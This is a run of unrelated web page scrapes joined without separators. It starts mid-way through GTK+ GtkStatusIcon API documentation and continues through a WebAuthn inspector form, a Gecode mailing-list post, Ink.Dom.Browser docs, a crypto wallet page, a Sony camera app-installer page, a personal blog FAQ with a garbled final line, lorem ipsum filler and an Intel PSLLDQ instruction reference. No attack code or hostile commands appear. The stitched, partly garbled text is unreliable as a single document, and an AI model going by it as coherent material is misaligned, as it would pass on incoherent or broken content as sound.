); GtkStatusIcon * gtk_status_icon_new_from_file (const gchar *filename
); GtkStatusIcon * gtk_status_icon_new_from_stock (const gchar *stock_id
); GtkStatusIcon * gtk_status_icon_new_from_icon_name (const gchar *icon_name
); GtkStatusIcon * gtk_status_icon_new_from_gicon (GIcon *icon
); void gtk_status_icon_set_from_pixbuf (GtkStatusIcon *status_icon
,GdkPixbuf *pixbuf
); void gtk_status_icon_set_from_file (GtkStatusIcon *status_icon
,const gchar *filename
); void gtk_status_icon_set_from_stock (GtkStatusIcon *status_icon
,const gchar *stock_id
); void gtk_status_icon_set_from_icon_name (GtkStatusIcon *status_icon
,const gchar *icon_name
); void gtk_status_icon_set_from_gicon (GtkStatusIcon *status_icon
,GIcon *icon
); GtkImageType gtk_status_icon_get_storage_type (GtkStatusIcon *status_icon
); GdkPixbuf * gtk_status_icon_get_pixbuf (GtkStatusIcon *status_icon
); const gchar * gtk_status_icon_get_stock (GtkStatusIcon *status_icon
); const gchar * gtk_status_icon_get_icon_name (GtkStatusIcon *status_icon
); GIcon * gtk_status_icon_get_gicon (GtkStatusIcon *status_icon
); gint gtk_status_icon_get_size (GtkStatusIcon *status_icon
); void gtk_status_icon_set_screen (GtkStatusIcon *status_icon
,GdkScreen *screen
); GdkScreen * gtk_status_icon_get_screen (GtkStatusIcon *status_icon
); void gtk_status_icon_set_tooltip_text (GtkStatusIcon *status_icon
,const gchar *text
); gchar * gtk_status_icon_get_tooltip_text (GtkStatusIcon *status_icon
); void gtk_status_icon_set_tooltip_markup (GtkStatusIcon *status_icon
,const gchar *markup
); gchar * gtk_status_icon_get_tooltip_markup (GtkStatusIcon *status_icon
); void gtk_status_icon_set_has_tooltip (GtkStatusIcon *status_icon
,gboolean has_tooltip
); gboolean gtk_status_icon_get_has_tooltip (GtkStatusIcon *status_icon
); void gtk_status_icon_set_title (GtkStatusIcon *status_icon
,const gchar *title
); const gchar * gtk_status_icon_get_title (GtkStatusIcon *status_icon
); void gtk_status_icon_set_name (GtkStatusIcon *status_icon
,const gchar *name
); void gtk_status_icon_set_visible (GtkStatusIcon *status_icon
,gboolean visible
); gboolean gtk_status_icon_get_visible (GtkStatusIcon *status_icon
); gboolean gtk_status_icon_is_embedded (GtkStatusIcon *status_icon
); void gtk_status_icon_position_menu (GtkMenu *menu
,gint *x
,gint *y
,gboolean *push_in
,gpointer user_data
); gboolean gtk_status_icon_get_geometry (GtkStatusIcon *status_icon
,GdkScreen **screen
,GdkRectangle *area
,GtkOrientation *orientation
); guint32 gtk_status_icon_get_x11_window_id (GtkStatusIcon *status_icon
);
"embedded" gboolean : Read "file" gchar* : Write "gicon" GIcon* : Read / Write "has-tooltip" gboolean : Read / Write "icon-name" gchar* : Read / Write "orientation" GtkOrientation : Read "pixbuf" GdkPixbuf* : Read / Write "screen" GdkScreen* : Read / Write "size" gint : Read "stock" gchar* : Read / Write "storage-type" GtkImageType : Read "title" gchar* : Read / Write "tooltip-markup" gchar* : Read / Write "tooltip-text" gchar* : Read / Write "visible" gboolean : Read / Write
"activate" :Action
"button-press-event" :Run Last
"button-release-event" :Run Last
"popup-menu" :Action
"query-tooltip" :Run Last
"scroll-event" :Run Last
"size-changed" :Run Last
The "system tray" or notification area is normally used for transient icons that indicate some special state. For example, a system tray icon might appear to tell the user that they have new mail, or have an incoming instant message, or something along those lines. The basic idea is that creating an icon in the notification area is less annoying than popping up a dialog.
A GtkStatusIcon object can be used to display an icon in a "system tray".
The icon can have a tooltip, and the user can interact with it by
activating it or popping up a context menu. Critical information should
not solely be displayed in a GtkStatusIcon, since it may not be
visible (e.g. when the user doesn't have a notification area on his panel).
This can be checked with gtk_status_icon_is_embedded()
.
On X11, the implementation follows the freedesktop.org "System Tray" specification. Implementations of the "tray" side of this specification can be found e.g. in the GNOME 2 and KDE panel applications.
Note that a GtkStatusIcon is not a widget, but just a GObject. Making it a widget would be impractical, since the system tray on Win32 doesn't allow to embed arbitrary widgets.
GtkStatusIcon * gtk_status_icon_new (void
);
Creates an empty status icon object.
Returns : |
a new GtkStatusIcon |
Since 2.10
GtkStatusIcon * gtk_status_icon_new_from_pixbuf (GdkPixbuf *pixbuf
);
Creates a status icon displaying pixbuf
.
The image will be scaled down to fit in the available space in the notification area, if necessary.
|
a GdkPixbuf |
Returns : |
a new GtkStatusIcon |
Since 2.10
GtkStatusIcon * gtk_status_icon_new_from_file (const gchar *filename
);
Creates a status icon displaying the file filename
.
The image will be scaled down to fit in the available space in the notification area, if necessary.
|
a filename. [type filename] |
Returns : |
a new GtkStatusIcon |
Since 2.10
GtkStatusIcon * gtk_status_icon_new_from_stock (const gchar *stock_id
);
Creates a status icon displaying a stock icon. Sample stock icon
names are GTK_STOCK_OPEN, GTK_STOCK_QUIT. You can register your
own stock icon names, see gtk_icon_factory_add_default()
and
gtk_icon_factory_add()
.
|
a stock icon id |
Returns : |
a new GtkStatusIcon |
Since 2.10
GtkStatusIcon * gtk_status_icon_new_from_icon_name (const gchar *icon_name
);
Creates a status icon displaying an icon from the current icon theme. If the current icon theme is changed, the icon will be updated appropriately.
|
an icon name |
Returns : |
a new GtkStatusIcon |
Since 2.10
GtkStatusIcon * gtk_status_icon_new_from_gicon (GIcon *icon
);
Creates a status icon displaying a GIcon. If the icon is a themed icon, it will be updated when the theme changes.
|
a GIcon |
Returns : |
a new GtkStatusIcon |
Since 2.14
void gtk_status_icon_set_from_pixbuf (GtkStatusIcon *status_icon
,GdkPixbuf *pixbuf
);
Makes status_icon
display pixbuf
.
See gtk_status_icon_new_from_pixbuf()
for details.
|
a GtkStatusIcon |
|
a GdkPixbuf or NULL . [allow-none]
|
Since 2.10
void gtk_status_icon_set_from_file (GtkStatusIcon *status_icon
,const gchar *filename
);
Makes status_icon
display the file filename
.
See gtk_status_icon_new_from_file()
for details.
|
a GtkStatusIcon |
|
a filename. [type filename] |
Since 2.10
void gtk_status_icon_set_from_stock (GtkStatusIcon *status_icon
,const gchar *stock_id
);
Makes status_icon
display the stock icon with the id stock_id
.
See gtk_status_icon_new_from_stock()
for details.
|
a GtkStatusIcon |
|
a stock icon id |
Since 2.10
void gtk_status_icon_set_from_icon_name (GtkStatusIcon *status_icon
,const gchar *icon_name
);
Makes status_icon
display the icon named icon_name
from the
current icon theme.
See gtk_status_icon_new_from_icon_name()
for details.
|
a GtkStatusIcon |
|
an icon name |
Since 2.10
void gtk_status_icon_set_from_gicon (GtkStatusIcon *status_icon
,GIcon *icon
);
Makes status_icon
display the GIcon.
See gtk_status_icon_new_from_gicon()
for details.
|
a GtkStatusIcon |
|
a GIcon |
Since 2.14
GtkImageType gtk_status_icon_get_storage_type (GtkStatusIcon *status_icon
);
Gets the type of representation being used by the GtkStatusIcon
to store image data. If the GtkStatusIcon has no image data,
the return value will be GTK_IMAGE_EMPTY
.
|
a GtkStatusIcon |
Returns : |
the image representation being used |
Since 2.10
GdkPixbuf * gtk_status_icon_get_pixbuf (GtkStatusIcon *status_icon
);
Gets the GdkPixbuf being displayed by the GtkStatusIcon.
The storage type of the status icon must be GTK_IMAGE_EMPTY
or
GTK_IMAGE_PIXBUF
(see gtk_status_icon_get_storage_type()
).
The caller of this function does not own a reference to the
returned pixbuf.
|
a GtkStatusIcon |
Returns : |
the displayed pixbuf,
or NULL if the image is empty. [transfer none]
|
Since 2.10
const gchar * gtk_status_icon_get_stock (GtkStatusIcon *status_icon
);
Gets the id of the stock icon being displayed by the GtkStatusIcon.
The storage type of the status icon must be GTK_IMAGE_EMPTY
or
GTK_IMAGE_STOCK
(see gtk_status_icon_get_storage_type()
).
The returned string is owned by the GtkStatusIcon and should not
be freed or modified.
|
a GtkStatusIcon |
Returns : |
stock id of the displayed stock icon,
or NULL if the image is empty. |
Since 2.10
const gchar * gtk_status_icon_get_icon_name (GtkStatusIcon *status_icon
);
Gets the name of the icon being displayed by the GtkStatusIcon.
The storage type of the status icon must be GTK_IMAGE_EMPTY
or
GTK_IMAGE_ICON_NAME
(see gtk_status_icon_get_storage_type()
).
The returned string is owned by the GtkStatusIcon and should not
be freed or modified.
|
a GtkStatusIcon |
Returns : |
name of the displayed icon, or NULL if the image is empty. |
Since 2.10
GIcon * gtk_status_icon_get_gicon (GtkStatusIcon *status_icon
);
Retrieves the GIcon being displayed by the GtkStatusIcon.
The storage type of the status icon must be GTK_IMAGE_EMPTY
or
GTK_IMAGE_GICON
(see gtk_status_icon_get_storage_type()
).
The caller of this function does not own a reference to the
returned GIcon.
If this function fails, icon
is left unchanged;
|
a GtkStatusIcon |
Returns : |
the displayed icon, or NULL if the image is empty. [transfer none]
|
Since 2.14
gint gtk_status_icon_get_size (GtkStatusIcon *status_icon
);
Gets the size in pixels that is available for the image. Stock icons and named icons adapt their size automatically if the size of the notification area changes. For other storage types, the size-changed signal can be used to react to size changes.
Note that the returned size is only meaningful while the
status icon is embedded (see gtk_status_icon_is_embedded()
).
|
a GtkStatusIcon |
Returns : |
the size that is available for the image |
Since 2.10
void gtk_status_icon_set_screen (GtkStatusIcon *status_icon
,GdkScreen *screen
);
Sets the GdkScreen where status_icon
is displayed; if
the icon is already mapped, it will be unmapped, and
then remapped on the new screen.
|
a GtkStatusIcon |
|
a GdkScreen |
Since 2.12
GdkScreen * gtk_status_icon_get_screen (GtkStatusIcon *status_icon
);
Returns the GdkScreen associated with status_icon
.
|
a GtkStatusIcon |
Returns : |
a GdkScreen. [transfer none] |
Since 2.12
void gtk_status_icon_set_tooltip_text (GtkStatusIcon *status_icon
,const gchar *text
);
Sets text
as the contents of the tooltip.
This function will take care of setting "has-tooltip" to
TRUE
and of the default handler for the "query-tooltip"
signal.
See also the "tooltip-text" property and
gtk_tooltip_set_text()
.
|
a GtkStatusIcon |
|
the contents of the tooltip for status_icon
|
Since 2.16
gchar * gtk_status_icon_get_tooltip_text (GtkStatusIcon *status_icon
);
Gets the contents of the tooltip for status_icon
.
|
a GtkStatusIcon |
Returns : |
the tooltip text, or NULL . You should free the
returned string with g_free() when done. |
Since 2.16
void gtk_status_icon_set_tooltip_markup (GtkStatusIcon *status_icon
,const gchar *markup
);
Sets markup
as the contents of the tooltip, which is marked up with
the Pango text markup language.
This function will take care of setting "has-tooltip" to TRUE
and of the default handler for the "query-tooltip" signal.
See also the "tooltip-markup" property and
gtk_tooltip_set_markup()
.
|
a GtkStatusIcon |
|
the contents of the tooltip for status_icon , or NULL . [allow-none]
|
Since 2.16
gchar * gtk_status_icon_get_tooltip_markup (GtkStatusIcon *status_icon
);
Gets the contents of the tooltip for status_icon
.
|
a GtkStatusIcon |
Returns : |
the tooltip text, or NULL . You should free the
returned string with g_free() when done. |
Since 2.16
void gtk_status_icon_set_has_tooltip (GtkStatusIcon *status_icon
,gboolean has_tooltip
);
Sets the has-tooltip property on status_icon
to has_tooltip
.
See "has-tooltip" for more information.
|
a GtkStatusIcon |
|
whether or not status_icon has a tooltip |
Since 2.16
gboolean gtk_status_icon_get_has_tooltip (GtkStatusIcon *status_icon
);
Returns the current value of the has-tooltip property. See "has-tooltip" for more information.
|
a GtkStatusIcon |
Returns : |
current value of has-tooltip on status_icon . |
Since 2.16
void gtk_status_icon_set_title (GtkStatusIcon *status_icon
,const gchar *title
);
Sets the title of this tray icon. This should be a short, human-readable, localized string describing the tray icon. It may be used by tools like screen readers to render the tray icon.
|
a GtkStatusIcon |
|
the title |
Since 2.18
const gchar * gtk_status_icon_get_title (GtkStatusIcon *status_icon
);
Gets the title of this tray icon. See gtk_status_icon_set_title()
.
|
a GtkStatusIcon |
Returns : |
the title of the status icon |
Since 2.18
void gtk_status_icon_set_name (GtkStatusIcon *status_icon
,const gchar *name
);
Sets the name of this tray icon. This should be a string identifying this icon. It is may be used for sorting the icons in the tray and will not be shown to the user.
|
a GtkStatusIcon |
|
the name |
Since 2.20
void gtk_status_icon_set_visible (GtkStatusIcon *status_icon
,gboolean visible
);
Shows or hides a status icon.
|
a GtkStatusIcon |
|
TRUE to show the status icon, FALSE to hide it |
Since 2.10
gboolean gtk_status_icon_get_visible (GtkStatusIcon *status_icon
);
Returns whether the status icon is visible or not.
Note that being visible does not guarantee that
the user can actually see the icon, see also
gtk_status_icon_is_embedded()
.
|
a GtkStatusIcon |
Returns : |
TRUE if the status icon is visible |
Since 2.10
gboolean gtk_status_icon_is_embedded (GtkStatusIcon *status_icon
);
Returns whether the status icon is embedded in a notification area.
|
a GtkStatusIcon |
Returns : |
TRUE if the status icon is embedded in
a notification area. |
Since 2.10
void gtk_status_icon_position_menu (GtkMenu *menu
,gint *x
,gint *y
,gboolean *push_in
,gpointer user_data
);
Menu positioning function to use with gtk_menu_popup()
to position menu
aligned to the status icon user_data
.
|
the GtkMenu |
|
return location for the x position. [out] |
|
return location for the y position. [out] |
|
whether the first menu item should be offset (pushed in) to be aligned with the menu popup position (only useful for GtkOptionMenu). [out] |
|
the status icon to position the menu on. [type GtkStatusIcon] |
Since 2.10
gboolean gtk_status_icon_get_geometry (GtkStatusIcon *status_icon
,GdkScreen **screen
,GdkRectangle *area
,GtkOrientation *orientation
);
Obtains information about the location of the status icon on screen. This information can be used to e.g. position popups like notification bubbles.
See gtk_status_icon_position_menu()
for a more convenient
alternative for positioning menus.
Note that some platforms do not allow GTK+ to provide
this information, and even on platforms that do allow it,
the information is not reliable unless the status icon
is embedded in a notification area, see
gtk_status_icon_is_embedded()
.
|
a GtkStatusIcon |
|
return location for
the screen, or NULL if the information is not needed. [out][transfer none][allow-none]
|
|
return location for the area occupied by
the status icon, or NULL . [out][allow-none]
|
|
return location for the
orientation of the panel in which the status icon is embedded,
or NULL . A panel at the top or bottom of the screen is
horizontal, a panel at the left or right is vertical. [out][allow-none]
|
Returns : |
TRUE if the location information has
been filled in |
Since 2.10
guint32 gtk_status_icon_get_x11_window_id (GtkStatusIcon *status_icon
);
This function is only useful on the X11/freedesktop.org platform. It returns a window ID for the widget in the underlying status icon implementation. This is useful for the Galago notification service, which can send a window ID in the protocol in order for the server to position notification windows pointing to a status icon reliably.
This function is not intended for other use cases which are
more likely to be met by one of the non-X11 specific methods, such
as gtk_status_icon_position_menu()
.
|
a GtkStatusIcon |
Returns : |
An 32 bit unsigned integer identifier for the underlying X11 Window |
Since 2.14
"embedded"
property "embedded" gboolean : Read
TRUE
if the statusicon is embedded in a notification area.
Default value: FALSE
Since 2.12
"gicon"
property "gicon" GIcon* : Read / Write
The GIcon displayed in the GtkStatusIcon. For themed icons, the image will be updated automatically if the theme changes.
Since 2.14
"has-tooltip"
property "has-tooltip" gboolean : Read / Write
Enables or disables the emission of "query-tooltip" on
status_icon
. A value of TRUE
indicates that status_icon
can have a
tooltip, in this case the status icon will be queried using
"query-tooltip" to determine whether it will provide a
tooltip or not.
Note that setting this property to TRUE
for the first time will change
the event masks of the windows of this status icon to include leave-notify
and motion-notify events. This will not be undone when the property is set
to FALSE
again.
Whether this property is respected is platform dependent. For plain text tooltips, use "tooltip-text" in preference.
Default value: FALSE
Since 2.16
"icon-name"
property "icon-name" gchar* : Read / Write
The name of the icon from the icon theme.
Default value: NULL
"orientation"
property"orientation" GtkOrientation : Read
The orientation of the tray in which the statusicon is embedded.
Default value: GTK_ORIENTATION_HORIZONTAL
Since 2.12
"screen"
property"screen" GdkScreen* : Read / Write
The screen where this status icon will be displayed.
"stock"
property "stock" gchar* : Read / Write
Stock ID for a stock image to display.
Default value: NULL
"storage-type"
property"storage-type" GtkImageType : Read
The representation being used for image data.
Default value: GTK_IMAGE_EMPTY
"title"
property "title" gchar* : Read / Write
The title of this tray icon. This should be a short, human-readable, localized string describing the tray icon. It may be used by tools like screen readers to render the tray icon.
Default value: NULL
Since 2.18
"tooltip-markup"
property "tooltip-markup" gchar* : Read / Write
Sets the text of tooltip to be the given string, which is marked up
with the gtk_tooltip_set_markup()
.
This is a convenience property which will take care of getting the
tooltip shown if the given string is not NULL
.
"has-tooltip" will automatically be set to TRUE
and
the default handler for the "query-tooltip" signal
will take care of displaying the tooltip.
On some platforms, embedded markup will be ignored.
Default value: NULL
Since 2.16
"tooltip-text"
property "tooltip-text" gchar* : Read / Write
Sets the text of tooltip to be the given string.
Also see gtk_tooltip_set_text()
.
This is a convenience property which will take care of getting the
tooltip shown if the given string is not NULL
.
"has-tooltip" will automatically be set to TRUE
and
the default handler for the "query-tooltip" signal
will take care of displaying the tooltip.
Note that some platforms have limitations on the length of tooltips that they allow on status icons, e.g. Windows only shows the first 64 characters.
Default value: NULL
Since 2.16
"activate"
signalvoid user_function (GtkStatusIcon *status_icon,
gpointer user_data) : Action
Gets emitted when the user activates the status icon. If and how status icons can activated is platform-dependent.
Unlike most G_SIGNAL_ACTION signals, this signal is meant to be used by applications and should be wrapped by language bindings.
|
the object which received the signal |
|
user data set when the signal handler was connected. |
Since 2.10
"button-press-event"
signalgboolean user_function (GtkStatusIcon *status_icon,
GdkEvent *event,
gpointer user_data) : Run Last
The ::button-press-event signal will be emitted when a button (typically from a mouse) is pressed.
Whether this event is emitted is platform-dependent. Use the ::activate and ::popup-menu signals in preference.
|
the object which received the signal |
|
the GdkEventButton which triggered this signal. [type Gdk.EventButton] |
|
user data set when the signal handler was connected. |
Returns : |
TRUE to stop other handlers from being invoked
for the event. FALSE to propagate the event further. |
Since 2.14
"button-release-event"
signalgboolean user_function (GtkStatusIcon *status_icon,
GdkEvent *event,
gpointer user_data) : Run Last
The ::button-release-event signal will be emitted when a button (typically from a mouse) is released.
Whether this event is emitted is platform-dependent. Use the ::activate and ::popup-menu signals in preference.
|
the object which received the signal |
|
the GdkEventButton which triggered this signal. [type Gdk.EventButton] |
|
user data set when the signal handler was connected. |
Returns : |
TRUE to stop other handlers from being invoked
for the event. FALSE to propagate the event further. |
Since 2.14
"popup-menu"
signalvoid user_function (GtkStatusIcon *status_icon,
guint button,
guint activate_time,
gpointer user_data) : Action
Gets emitted when the user brings up the context menu of the status icon. Whether status icons can have context menus and how these are activated is platform-dependent.
The button
and activate_time
parameters should be
passed as the last to arguments to gtk_menu_popup()
.
Unlike most G_SIGNAL_ACTION signals, this signal is meant to be used by applications and should be wrapped by language bindings.
|
the object which received the signal |
|
the button that was pressed, or 0 if the signal is not emitted in response to a button press event |
|
the timestamp of the event that triggered the signal emission |
|
user data set when the signal handler was connected. |
Since 2.10
"query-tooltip"
signalgboolean user_function (GtkStatusIcon *status_icon,
gint x,
gint y,
gboolean keyboard_mode,
GtkTooltip *tooltip,
gpointer user_data) : Run Last
Emitted when the "gtk-tooltip-timeout" has expired with the
cursor hovering above status_icon
; or emitted when status_icon
got
focus in keyboard mode.
Using the given coordinates, the signal handler should determine
whether a tooltip should be shown for status_icon
. If this is
the case TRUE
should be returned, FALSE
otherwise. Note that if
keyboard_mode
is TRUE
, the values of x
and y
are undefined and
should not be used.
The signal handler is free to manipulate tooltip
with the therefore
destined function calls.
Whether this signal is emitted is platform-dependent. For plain text tooltips, use "tooltip-text" in preference.
|
the object which received the signal |
|
the x coordinate of the cursor position where the request has been
emitted, relative to status_icon
|
|
the y coordinate of the cursor position where the request has been
emitted, relative to status_icon
|
|
TRUE if the tooltip was trigged using the keyboard |
|
a GtkTooltip |
|
user data set when the signal handler was connected. |
Returns : |
TRUE if tooltip should be shown right now, FALSE otherwise. |
Since 2.16
"scroll-event"
signalgboolean user_function (GtkStatusIcon *status_icon,
GdkEvent *event,
gpointer user_data) : Run Last
The ::scroll-event signal is emitted when a button in the 4 to 7 range is pressed. Wheel mice are usually configured to generate button press events for buttons 4 and 5 when the wheel is turned.
Whether this event is emitted is platform-dependent.
|
the object which received the signal. |
|
the GdkEventScroll which triggered this signal. [type Gdk.EventScroll] |
|
user data set when the signal handler was connected. |
Returns : |
TRUE to stop other handlers from being invoked for the event.
FALSE to propagate the event further. |
Since 2.16
"size-changed"
signalgboolean user_function (GtkStatusIcon *status_icon,
gint size,
gpointer user_data) : Run Last
Gets emitted when the size available for the image changes, e.g. because the notification area got resized.
|
the object which received the signal |
|
the new size |
|
user data set when the signal handler was connected. |
Returns : |
TRUE if the icon was updated for the new
size. Otherwise, GTK+ will scale the icon as necessary. |
Since 2.10


There is an old... click to continue
The war is...click to continue
The new art...click to continue
The new consciousness...click to continue


Practical WebAuthn Inspector
Homepage
Registration
Assertion
CBOR Decoder
Credential Creation Options
RP Info
Undefined RP ID
This domain
foo.com
Empty RP ID
Empty RP Name
Empty RP Icon
User Info
Bob
Alice
Stella
Mike
John
Empty userInfo
Attachment
Undefined
Platform
Cross-Platform
Resident Key
Undefined
Discouraged
Preferred
Required
User Verification
Undefined
Discouraged
Preferred
Required
Attestation
Undefined
None
Indirect
Direct
Enterprise
CredProtect Extension
Undefined
UVOptional
UVOptionalWithCredIDList
UVRequired
Enforce CredProtect
Undefined
False
True
HMAC Extension
Undefined
False
True
MinPinLength Extension
Undefined
False
True
LargeBlob Extension
Undefined
Preferred
Required
Use ES256
Use RS256
Use EdDSA
Output


[gecode-users] custom brancher and failures count
aqwzsxaqwzsx
aqwzsxaqwzsx at orange.fr
Wed Apr 18 00:33:32 CEST 2018
Hello, I developed a custom brancher that works as expected. However,
sometimes a choice is made that leads to lot of failures. When this
situation occurs, I would like to call an external function that decides
whether or not the subtree should fail. I don't think afc or cutoff can
help here. Am I wrong ? Thank you for your help.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://www.gecode.org/pipermail/users/attachments/20180418/e4a4829d/attachment.html>
More information about the users
mailing list


Premium Account
Dear
%playername%
Your premium account is over.
Premium Account
›
Cost:
Depends on the day.


---
layout: js-documentation
title: Ink.Dom.Browser_1
description: Browser Detection and User Agent sniffing
site_root: ../
---
All samples are using Debug function which displays browser (and Ink.Dom.Browser) information as an alert message. Detects the browser and stores the found properties. Called automatically when this module is loaded. Initialization function for the Browser object. Is called automatically when this module is loaded, and calls setDimensions, setBrowser and setReferrer.Ink.requireModules
, please read how to use it at Ink.requireModules section
Ink.Dom.Browser namespace
Function name
Description
.debug()
Debug function which displays browser (and Ink.Dom.Browser) information as an alert message.
.detectBrowser()
Detects the browser and stores the found properties. Called automatically when this module is loaded.
.init()
Initialization function for the Browser object.
.setDimensions()
Retrieves and stores window dimensions in this object. Called automatically when this module is loaded.
.setReferrer()
Stores the referrer. Called automatically when this module is loaded.
Property name
Description
.CHROME
True if browser is Chrome
.GECKO
True if the browser is Gecko based
.IE
True if the browser is Internet Explorer
.KONQUEROR
True if the browser is Konqueror
.OPERA
True if the browser is Opera
.SAFARI
True if the browser is Safari
.cssPrefix
The CSS prefix (-moz-, -webkit-, -ms-, ...)
.domPrefix
The DOM prefix (Moz, Webkit, ms, ...)
.model
The specific browser model.
.userAgent
The user agent string.
.version
The browser version.
.debug()
method
.detectBrowser()
method
.init()
method
Retrieves and stores window dimensions in this object. Called automatically when this module is loaded.
Stores the referrer. Called automatically when this module is loaded.
Boolean
True if browser is Chrome
Boolean
True if the browser is Gecko based
Boolean
True if the browser is Internet Explorer
Boolean
True if the browser is Konqueror
Boolean
True if the browser is Opera
Boolean
True if the browser is Safari
Boolean|String
The CSS prefix (-moz-, -webkit-, -ms-, ...)
False if it is unavailable
Boolean|String
The DOM prefix (Moz, Webkit, ms, ...)
False if it is unavailable
Boolean|String
The specific browser model.
False if it is unavailable.
Boolean|String
The user agent string.
False if it is unavailable.
Boolean|String
The browser version.
False if it is unavailable.


Home
My Profile
Caregiver Profile
Patient Profile
Library
Cart
Limbo Rainbow
Review
Profile
Store Products
Store Orders
My Wallet
Store Wallet
Follow your donation income in this page.
Account Balance
Change Default Currency
Current Balance:
0.048 ETH
Pending Balance:
0.034 ETH
Total:
0.082 ETH
Token Value:
$34.07 (@ $417 ETH)


{% extends "layout.html" %} {% set title = 'Home' %} {% block content %}
The latest Sony cameras include an Android subsystem which allows to install apps from the propriatary Sony PlayMemories Camera appstore (PMCA). This application replicates the functionality of the Sony store and allows you to install custom Android apps on your camera.
This is an experiment in a very early stage. All information has been found through reverse engineering. It is likely to not work at all or even cause harm to your hardware. If you break your camera, you get to keep both pieces. We won't take any responsability.
If you're feeling lucky, try the demo app!
{% endblock %}


Owner
Hi guys, my name is Zhong PengQun(钟鹏群), i’m a Chinese.
Purpose of this site
- To record what i met and my thoughts at a certain time point.
- To improve my english skills by writing and speaking, because my job needs a good skill at english.
- To share some tech skills i investigated during my work.
How to build this blog
I use Github pages
and this theme to build this site.
Markdown syntax
Markdown usage
https://daringfireball.net/projects/markdown/syntax#html
Is it possible to run javascript with github pages.
Yes.
How i record screen ?
https://support.apple.com/en-us/HT208721
How to convert mac recorded audio to mp3 format ?
from pydub import AudioSegment
wav_audio = AudioSegment.from_file("/Users/vzhong/audio1.m4a", format="m4a")
wav_audio.export("/tmp/audio1.mp3", format="mp3")
How to convert m4a to mp4 ?
Speech to text
https://www.zhihu.com/question/56382679
How to embed vido on page ?
openssl tar 我的java视频 likely x**7


There's a problem with this page. Please try again later.
In the meantime you can contact us via Facebook, Twitter, Instagram or email.


Visualization of Crimes in the USA
Finally getting the hang of using D3.js (v4)
The dataset used for creating these visualizations is the FBI Crime dataset obtainable here at point number 2.
The visualization is available here. The line chart and small multiples bar chart was done by me, while the map and sankey in the second visualization was done by Lee Bing Yuan.
The purpose of the line chart was to show the trend of crimes from 1994 to 2013 and to allow users to compare the trend between different crime categories by clicking on the legend. The small multiples bar chart were plotted to show the users the Year over Year growth for each category over the past 20 years. An obvious problem with small multiples are that sometimes, it is just too small. Therefore, users are allowed to click the title of the small multiples to enable a larger version of the bar chart to pop up.


Atelier Schemes
Prism
Colorschemes for Prism: demopage
Chrome DevTools
Solarized Light theme demopage
Colorscheme Lab
Try Colorscheme Lab
- Colorscheme Lab on CodePen
See the Pen Colorscheme Lab – with Sass Variables by Bram de Haan (@atelierbram) on CodePen
- Colorscheme Lab as Github Gist
- More Themes for Web Developer's Toys


Lorem ipsum dolor, sit amet consectetur adipisicing elit.Lorem ipsum dolor, sit amet consectetur adipisicing elit.
Corporis rem aliquid quas harum consequuntur natus incidunt vero suscipit facere distinctio!
I don’t eat lunch at
Vinnie’severy day, but it’s close. They have immensely creative daily specials so I can grab a slice repeatedly
without it ever feeling repetitive.
The original “fake news!” Working with activist group
The Yes Men, artist
Steve Lambert, and others I created inspirational ‘Special Editions’ of newspapers.


| Opcode/Instruction | Op/En | 64/32 bit Mode Support | CPUID Feature Flag | Description |
|---|---|---|---|---|
| 66 0F 73 /7 ib PSLLDQ xmm1, imm8 | A | V/V | SSE2 | Shift xmm1 left by imm8 bytes while shifting in 0s. |
| VEX.128.66.0F.WIG 73 /7 ib VPSLLDQ xmm1, xmm2, imm8 | B | V/V | AVX | Shift xmm2 left by imm8 bytes while shifting in 0s and store result in xmm1. |
| VEX.256.66.0F.WIG 73 /7 ib VPSLLDQ ymm1, ymm2, imm8 | B | V/V | AVX2 | Shift ymm2 left by imm8 bytes while shifting in 0s and store result in ymm1. |
| EVEX.128.66.0F.WIG 73 /7 ib VPSLLDQ xmm1,xmm2/ m128, imm8 | C | V/V | AVX512VL AVX512BW | Shift xmm2/m128 left by imm8 bytes while shifting in 0s and store result in xmm1. |
| EVEX.256.66.0F.WIG 73 /7 ib VPSLLDQ ymm1, ymm2/m256, imm8 | C | V/V | AVX512VL AVX512BW | Shift ymm2/m256 left by imm8 bytes while shifting in 0s and store result in ymm1. |
| EVEX.512.66.0F.WIG 73 /7 ib VPSLLDQ zmm1, zmm2/m512, imm8 | C | V/V | AVX512BW | Shift zmm2/m512 left by imm8 bytes while shifting in 0s and store result in zmm1. |
| Op/En | Tuple Type | Operand 1 | Operand 2 | Operand 3 | Operand 4 |
| A | NA | ModRM:r/m (r, w) | imm8 | NA | NA |
| B | NA | VEX.vvvv (w) | ModRM:r/m (r) | imm8 | NA |
| C | Full Mem | EVEX.vvvv (w) | ModRM:r/m (R) | Imm8 | NA |
Shifts the destination operand (first operand) to the left by the number of bytes specified in the count operand (second operand). The empty low-order bytes are cleared (set to all 0s). If the value specified by the count operand is greater than 15, the destination operand is set to all 0s. The count operand is an 8-bit immediate.
128-bit Legacy SSE version: The source and destination operands are the same. Bits (MAXVL-1:128) of the corresponding YMM destination register remain unchanged.
VEX.128 encoded version: The source and destination operands are XMM registers. Bits (MAXVL-1:128) of the destination YMM register are zeroed.
VEX.256 encoded version: The source operand is YMM register. The destination operand is an YMM register. Bits (MAXVL-1:256) of the corresponding ZMM register are zeroed. The count operand applies to both the low and high 128-bit lanes.
EVEX encoded versions: The source operand is a ZMM/YMM/XMM register or a 512/256/128-bit memory location. The destination operand is a ZMM/YMM/XMM register. The count operand applies to each 128-bit lanes.
TEMP ← COUNT IF (TEMP > 15) THEN TEMP←16; FI DEST[127:0]←SRC[127:0] << (TEMP * 8) DEST[255:128]←SRC[255:128] << (TEMP * 8) DEST[383:256]←SRC[383:256] << (TEMP * 8) DEST[511:384]←SRC[511:384] << (TEMP * 8) DEST[MAXVL-1:512] ← 0
TEMP ← COUNT IF (TEMP > 15) THEN TEMP←16; FI DEST[127:0]←SRC[127:0] << (TEMP * 8) DEST[255:128]←SRC[255:128] << (TEMP * 8) DEST[MAXVL-1:256] ← 0
TEMP ← COUNT IF (TEMP > 15) THEN TEMP←16; FI DEST←SRC << (TEMP * 8) DEST[MAXVL-1:128] ← 0
TEMP ← COUNT IF (TEMP > 15) THEN TEMP←16; FI DEST←DEST << (TEMP * 8) DEST[MAXVL-1:128] (Unmodified)
(V)PSLLDQ:__m128i _mm_slli_si128 ( __m128i a, int imm)
VPSLLDQ:__m256i _mm256_slli_si256 ( __m256i a, const int imm)
VPSLLDQ __m512i _mm512_bslli_epi128 ( __m512i a, const int imm)
None.
None.
Non-EVEX-encoded instruction, see Exceptions Type 7.
EVEX-encoded instruction, see Exceptions Type E4NF.nb.


